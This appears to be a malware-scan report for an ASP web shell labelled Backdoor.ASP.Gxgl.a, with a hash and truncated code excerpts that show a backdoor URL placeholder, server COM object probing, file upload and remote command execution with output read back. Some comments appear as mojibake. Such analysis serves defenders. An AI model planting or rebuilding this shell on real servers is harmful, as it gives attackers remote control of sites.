Benign Download

Backdoor.ASP.Gxgl.a

Windows archive file pathEmbedded HTTP or WebSocket URL

SHA-2563bcfa11555f9b6b4e9936306d1d3b49820f64e563e02d7bfdb2e85e07a9e5a62

Evidence

Embedded HTTP or WebSocket URL lines 7–12

7:10…        = "cWx4"'��������룬���Ǽ��ܺ�����룬Ĭ��:qlx���ķ��ʣ�http://www.xxx.com/shell.asp?makepwd=������� ���ɵõ�
8
9ShowFileIco     = Flase
10IcoPath         = ""
11logintype0      = "i" 
12logintype1      =  …

English function-word token "for" lines 93–100

13… "Microsoft.XMLHTTP"
ObT(13,2) = "XMLHTTP"
95
96For i=0 To 13
Set T=Server.CreateObject(ObT(i,0))
If -2147221005 <> Err Then
 IsObj=True
E …

English function-word token "and" lines 130–133

130:32… x+2, 1))
131ret = ret & EncodeGroup(  (first \ 4) AND 63 )
132ret = ret & EncodeGroup( ((first * 16) AND 48) + ((No2 \ 16) AND 15 ) )
133ret = ret & Enco …

English function-word token "the" lines 327–333

24… 
  If UName="" Or F.FileSize=0 then
    Sl="<br>The File Path In Server:"
  Else
      F.SaveAs UName
      If Err.number=0 Then
 …

Windows archive file path lines 394–398

89… Cmd).stdout.readall
Sl=Sl&Chr(13)&Chr(13)&Chr(13)&"Rar e.g.��c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1</textarea>"
Sl=Sl&"SHELL Path��<input name='SP' value='"&ShellPath&"' Style='width:91%'></form>"
echo Sl
398End Funct …